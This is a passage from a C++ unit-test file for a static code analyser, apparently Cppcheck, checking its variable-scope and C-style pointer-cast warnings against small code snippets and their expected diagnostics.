applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n 